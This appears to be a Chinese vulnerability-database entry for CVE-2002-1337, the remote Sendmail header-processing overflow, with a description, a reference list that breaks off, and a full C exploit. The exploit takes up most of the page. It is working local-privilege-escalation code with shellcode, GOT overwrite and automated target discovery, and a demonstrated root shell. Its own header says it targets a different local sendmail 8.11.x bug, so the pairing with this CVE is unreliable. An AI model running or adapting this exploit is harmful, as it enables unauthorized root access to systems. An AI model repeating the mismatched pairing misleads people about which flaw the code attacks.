Sendmail头处理远程溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1106151 漏洞类型 边界条件错误
发布时间 2001-01-01 更新时间 2006-08-24
CVE编号 CVE-2002-1337 CNNVD-ID CNNVD-200303-038
漏洞平台 Linux CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/411
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200303-038
|漏洞详情
大多数组织在他们网络内部的各个位置有各种邮件传输代理(MTA),其中至少有一个直接连接于互联网。Sendmail是其中最流行的MTA,据统计通过Sendmail处理的Internet邮件流量占了总数的50%到75%。许多UNIX和Linux工作站默认运行Sendmail。Sendmail<8.12.8版本在处理和评估通过SMTP会话收集的邮件头部时存在一个远程溢出漏洞。当邮件头部包含地址或者地址列表(例如"From","To","CC")时,Sendmail会试图检查是否所提供的地址或地址列表是有效的。Sendmail使用crackaddr()函数来完成这一工作,这个函数位于Sendmail源码树中的headers.c文件中。Sendmail使用了一个静态缓冲区来存储所处理的数据。Sendmail会检测这个缓冲区,如果发现已经满了则停止向里面添加数据。Sendmail通过几个安全检查来保证字符被正确解释。然而其中一个安全检查存在安全缺陷,导致远程攻击者通过提交特制的地址域来造成一个缓冲区溢出。利用这个漏洞,攻击者可以获得Sendmail运行用户的权限,在大多数的Unix或者Linux系统上Sendmail都是以root用户身份运行。由于溢出发生在静态缓冲区中,不可执行堆栈保护对此漏洞没有作用。由于攻击代码可包含在看起来正常的邮件中,可以轻易地在不被发现的情况下穿透许多常见的包过滤设备或防火墙。对未打补丁sendmail系统的成功利用在系统日志中不会留下任何消息。但是,在打过补丁的系统中,利用该漏洞的尝试会留下以下的日志消息:Droppedinvalidcommentsfromheaderaddress此漏洞影响Sendmail商业版以及开放源码的版本,另据报告此漏洞已经在实验室环境中被成功利用。
|漏洞EXP
/*
	sendmail 8.11.x exploit (i386-Linux) by sd@sf.cz (sd@ircnet)
	~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

	This code exploits well-known local-root bug in sendmail 8.11.x,
	8.12.x may be vulnerable too, but I didn't test it.

	It gives instant root shell with +s sendmail 8.11.x, x < 6

	We're using objdump, gdb & grep in order to obtain VECT, so make sure
	that they're on $PATH, works with 80% accuracy on stripped binaries
	on several distros without changing offsets (rh7.0, rh7.1, suse7.2,
	slackware 8.0...)

	Greetz:

	mlg & smoke : diz is mostly for .ro ppl ;) killall sl3
	sorcerer    : stop da fuckin' asking me how to sploit sm, diz crap
	              is for lamers like you ;))))
	devik       : sm 0wns ;)
	to #linux.cz, #hack ....

	.... and to alot of other ppl, where i can't remeber theyr handles ;)

	args:
	-d     specify depth of analysis (default=32) [bigger = more time]
	-o     change offset (default = -32000) [between 1000..-64000]
	-v     specify victim (default /usr/sbin/sendmail) [+s sm binary]
	-t     specify temp directory (default /tmp/.sxp)
	       [temporary files, should be mounted as nosuid]

	An example (redhat 7.0 CZ):
-------------------------------------------------------------------------------
[sd@pikatchu sxp]$ gcc sx.c -o sx
[sd@localhost sxp]$ ./sx

...-=[ Sendmail 8.11.x exploit, (c)oded by sd@sf.cz [sd@ircnet], 2001 ]=-...
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[*] Victim = /usr/sbin/sendmail
[*] Depth  = 32
[*] Offset = -16384
[*] Temp   = /tmp/.sxp
[*] ESP    = 0xbfffe708
[+] Created /tmp/.sxp
[+] Step 1. setuid() got = 0x080aa028
[*] Step 2. Copying /usr/sbin/sendmail to /tmp/.sxp/sm...OK
[*] Step 3. Disassembling /tmp/.sxp/sm...OK, found 3 targets
[*] Step 4. Exploiting 3 targets:
[1] (33% of targets) GOT=0x080aa028, VECT=0x00000064, offset=-16384
[2] (66% of targets) GOT=0x080aa028, VECT=0x080c6260, offset=-16384

Voila babe, entering rootshell!
Enjoy!
uid=0(root) gid=0(root) groups=0(root)
[root@pikatchu /]# whoami
root
[root@pikatchu /]# exit
exit
Thanx for choosing sd's products ;)
[sd@pikatchu sxp]$
--------------------------------------------------------------------------------

	Enjoy! And don't abuse it too much :)
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/wait.h>
#include <string.h>

#define	SM	"/usr/sbin/sendmail"
#define	OBJDUMP	"objdump"
#define	GDB	"gdb"
#define GREP	"grep"

#define	OURDIR	"/tmp/.sxp"

/* an basic regexp to get interesting stuff from disassembled output
   change it as you like if something doesn't work */

#define	DLINE	"%s -d %s 2> /dev/null | %s -B %d \"mov.*%%.l,(%%e..,%%e..,1)\" | %s \".mov .*0x80.*,%%e..\""
#define DLINEA	OBJDUMP, vict, GREP, depth, GREP

#define	BRUTE_DLINE	"%s -d %s 2> /dev/null | %s \".mov .*0x80.*,%%e..\""
#define BRUTE_DLINEA	OBJDUMP, vict, GREP


#define NOPLEN	32768

#define uchar unsigned char
#define NOP 0x90

/* 19 bytes ;), shell must be appended */
char shellcode[] =
	"\xeb\x0c\x5b\x31\xc0\x50\x89\xe1"
        "\x89\xe2\xb0\x0b\xcd\x80\xe8\xef"
        "\xff\xff\xff";


char	scode[512];
char	dvict[] = SM;

struct	target {
	uint	off;
	uint	brk;
	uint	vect;
};

unsigned int get_esp()
{
	__asm__("movl %esp,%eax");
}

char	ourdir[256] = OURDIR;

/* cleanup */
void	giveup(int i)
{
	char buf[256];
	sprintf(buf, "/bin/rm -rf %s > /dev/null 2> /dev/null", ourdir);
	system(buf);
	if (i >= 0) exit(i);
}

/* main sploit, stolen mostly from alsou.c ;) */
void	sploit(char *victim, uint got, uint vect, uint ret)
{
	uchar	egg[sizeof(scode) + NOPLEN + 5];
	char	s[512] = "-d";
	char	*argv[3];
	char	*envp[2];
	uint	first, last, i;

	strcpy(egg, "EGG=");
	memset(egg + 4, NOP, NOPLEN);
	strcpy(egg + 4 + NOPLEN, scode);

	last = first = -vect - (0xffffffff - got + 1);
	while (ret) {
		char	tmp[256];
		i = ret & 0xff;
		sprintf(tmp, "%u-%u.%u-", first, last, i);
		strcat(s, tmp);
		last = ++first;
		ret = ret >> 8;
	}
	s[strlen(s) - 1] = 0;
	argv[0] = victim;
	argv[1] = s;
	argv[2] = NULL;
	envp[0] = egg;
	envp[1] = NULL;
	execve(victim, argv, envp);
}

int	use(char *s)
{
	 printf("%s [command] [options]\n"
		"-h     this help\n"
		"-d     specify depth of analysis (default=32)\n"
		"-o     change offset (default = -32000)\n"
		"-v     specify victim (default /usr/sbin/sendmail)\n"
		"-t     specify temp directory (default /tmp/.sxp)\n"
		"-b	enables bruteforce (WARNING: this may take about 20-30 minutes!)\n", s);
	return 1;
}

/* exploited flag */
int	exploited = 0;

/* child root-shell will send us SIGUSR if everything is ok */
void	sigusr(int i)
{
	exploited++;
	giveup(-1);
}

int	main(int argc, char *argv[])
{
	char	victim[256] = SM;
	char	vict[256];
	char	gscr[256];
	char	path[256];
	
	char	d[256];
	struct	stat	st;
	FILE	*f;
	char	buf[256];
	int	got;

	struct	target t[1024];
	uint	off, ep, l;
	int	i,j;

	int	offset = -16384;
	int	esp;
	int	depth = 32;
	int	brute = 0;

	/* rootshell (if argv[0] == NULL) */
	if (!*argv) {
		/* open stdin and stdout */
		dup2(2, 0);
		dup2(2, 1);
		setuid(0);	/* regain root privs */
		setgid(0);
		/* send signal to parent that exploit is done */
		kill(getppid(), SIGUSR1);
		/* l-a-m-e ;) */
		printf("\nVoila babe, entering rootshell!\nEnjoy!\n"); fflush(stdout);
		chdir("/");
		system("/usr/bin/id");
		setenv("BASH_HISTORY", "/dev/null", 1);
		execl("/bin/bash", "-bash", NULL);
	}

	printf("\n...-=[ Sendmail 8.11.x exploit, (c)oded by sd@sf.cz [sd@ircnet], 2001 ]=-...\n"
	       "      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n");

	while ( ( i = getopt(argc, argv, "hd:o:v:t:b") ) != EOF) {
		switch (i) {
			case 'd':
				if ((!optarg) || (sscanf(optarg, "%d", &depth) != 1))
					return use(argv[0]);
				break;
			case 'o':
				if ((!optarg) || (sscanf(optarg, "%d", &offset) != 1))
					return use(argv[0]);
				break;
			case 'v':
				if (!optarg) return use(argv[0]);
				strcpy(victim, optarg);
				break;
			case 't':
				if (!optarg) return use(argv[0]);
				strcpy(ourdir, optarg);
				break;
			case 'b':
				brute++;
				break;
			case 'h':
			default:
				return use(argv[0]);
		}
	}
	if (brute) printf("[*] Using brute force, this may take some time\n");
	/* create full path to rootshell, cause
           sendmail will change it's cwd */
	path[0] = 0;
	if (argv[0][0] != '/') {
		getcwd(path, 256);
	}

	/* construct shellcode */
	sprintf(scode, "%s%s/%s", shellcode, path, argv[0]);

	/* get stack frame */
	esp = get_esp();
	close(0);
	signal(SIGUSR1, sigusr);

	/* remove old stuff */
	giveup(-1);

	printf( "[*] Victim = %s\n"
		"[*] Depth  = %d\n"
		"[*] Offset = %d\n"
		"[*] Temp   = %s\n"
		"[*] ESP    = 0x%08x\n",
		victim,
		depth,
		offset,
		ourdir,
		esp);
	stat(victim, &st);
	if ((st.st_mode & S_ISUID) == 0) {
		printf("[-] Bad: %s isn't suid ;(\n", victim);
	}

	if (access(victim, R_OK + X_OK + F_OK) < 0) {
		printf("[-] Bad: We haven't access to %s !\n", victim);
	}

	if (mkdir(ourdir, 0777) < 0) {
		perror("[-] Can't create our tempdir!\n");
		giveup(1);
	}
	printf("[+] Created %s\n", ourdir);
	sprintf(buf, "%s -R %s | grep setuid", OBJDUMP, victim);
	f = popen(buf, "r");
	if (fscanf(f, "%x", &got) != 1) {
		pclose(f);
		printf("[-] Cannot get setuid() GOT\n");
		giveup(1);
	}
	/* get GOT */
	pclose(f);
	printf("[+] Step 1. setuid() got = 0x%08x\n", got);
	sprintf(vict, "%s/sm", ourdir);
	printf("[*] Step 2. Copying %s to %s...", victim, vict); fflush(stdout);
	sprintf(buf, "/bin/cp -f %s %s", victim, vict);
	system(buf);
	if (access(vict, R_OK + X_OK + F_OK) < 0) {
		perror("Failed");
		giveup(1);
	}
	printf("OK\n");
	/* disassemble & find targets*/
	printf("[*] Step 3. Disassembling %s...", vict); fflush(stdout);
	if (!brute) {
		sprintf(buf, DLINE, DLINEA);
	} else {
		sprintf(buf, BRUTE_DLINE, BRUTE_DLINEA);
	}
	f = popen(buf, "r");
	i = 0;
	while (fgets(buf, 256, f)) {
		int	k, dontadd = 0;
		if (sscanf(buf, "%x: %s %s %s %s %s %s 0x%x,%s\n",
                    &ep, d, d, d, d, d, d, &off, d) == 9) {
			/* same value ? */
			for (k=0; k < i; k++) {
				if (t[k].off == off) dontadd++;
			}
			/* new value ? */
			if (!dontadd) {
				/* add it to table */
				t[i].off = off;
				t[i++].brk = ep;
			}
		}
	}
	pclose(f);
	printf("OK, found %d targets\n", i);

	/* gdb every target and look for theyr VECT */
	printf("[*] Step 4. Exploiting %d targets:\n", i); fflush(stdout);
	sprintf(gscr, "%s/gdb", ourdir);

	off = 0;
	for (j=0; j < i; j++) {
		/* create gdb script */
		f = fopen(gscr, "w+");
		if (!f) {
			printf("Cannot create gdb script\n");
			giveup(1);
		}
		fprintf(f, "break *0x%x\nr -d1-1.1\nx/x 0x%x\n", t[j].brk, t[j].off);
		fclose(f);
		sprintf(buf, "%s -batch -x %s %s 2> /dev/null", GDB, gscr, vict);
		f = popen(buf, "r");
		if (!f) {
			printf("Failed to spawn gdb!\n");
			giveup(1);
		}
		/* scan gdb's output */
		while (1) {
			char buf[256];
			char *p;
			t[j].vect = 0;
			p = fgets(buf, 256, f);
			if (!p) break;
			if (sscanf(p, "0x%x %s 0x%x", &ep, d, &l) == 3) {
				t[j].vect = l;
				off++;
				break;
			}
		}
		pclose(f);
		if (t[j].vect) {
			int	pid;
			printf("[%d] (%d%% of targets) GOT=0x%08x, VECT=0x%08x, offset=%d\n", j, j*100/i , got, t[j].vect, offset);
			fflush(stdout);
			pid = fork();
			if (pid == 0) {
				close(1);
				sploit(victim, got, t[j].vect, esp + offset);
			}
			/* wait until sendmail finishes (expoit failed)
	                   or until SIGUSR arrives */
			wait(NULL);
			/* exploited ?? */
			if (exploited) {
				wait(NULL);	/* kill zombie */
				printf("Thanx for choosing sd's products ;)\n");
				exit(0);
			}
		}
	}
	printf("[-] All targets failed, probably not vulnerable ;(\n");
	giveup(1);
}

/* That's all. */



// milw0rm.com [2001-01-01]
|参考资料

来源:CERT/CCAdvisory:CA-2003-07
名称:CA-2003-07
链接:http://www.cert.org/advisories/CA-2003-07.html
来源:US-CERTVulnerabilityNote:VU#398025
名称:VU#398025
链接:http://www.kb.cert.org/vuls/id/398025
来源:www.sendmail.org
链接:http://www.sendmail.org/8.12.8.html
来源:BID
名称:6991
链接:http://www.securityfocus.com/bid/6991
来源:ISS
名称:20030303RemoteSendmailHeaderProcessingVulnerability
链接:http://www.iss.net/issEn/delivery/xforce/alertdetail.jsp?oid=21950
来源:REDHAT
名称:RHSA-2003:227
链接:http://www.redhat.com/support/errata/RHSA-2003-227.html
来源:REDHAT
名称:RHSA-2003:074
链接:http://www.redhat.com/support/errata/RHSA-2003-074.html
来源:REDHAT
名称:RHSA-2003:073
链接:http://www.redhat.com/support/errata/RHSA-2003-073.html
来源:XF
名称:sendmail-header-processing-bo(10748)
链接:http://www.iss.net/security_center/static/10748.php
来源:DEBIAN
名称:DSA-257
链接:http://www.debian.org/security/2003/dsa-257
来源:AIXAPAR
名称:IY40502
链接:http://www-1.ibm.com/support/search.wss?rs=0&q=IY40502&apar=only
来源:AIXAPAR
名称:IY40501
链接:http://www-1.ibm.com/sup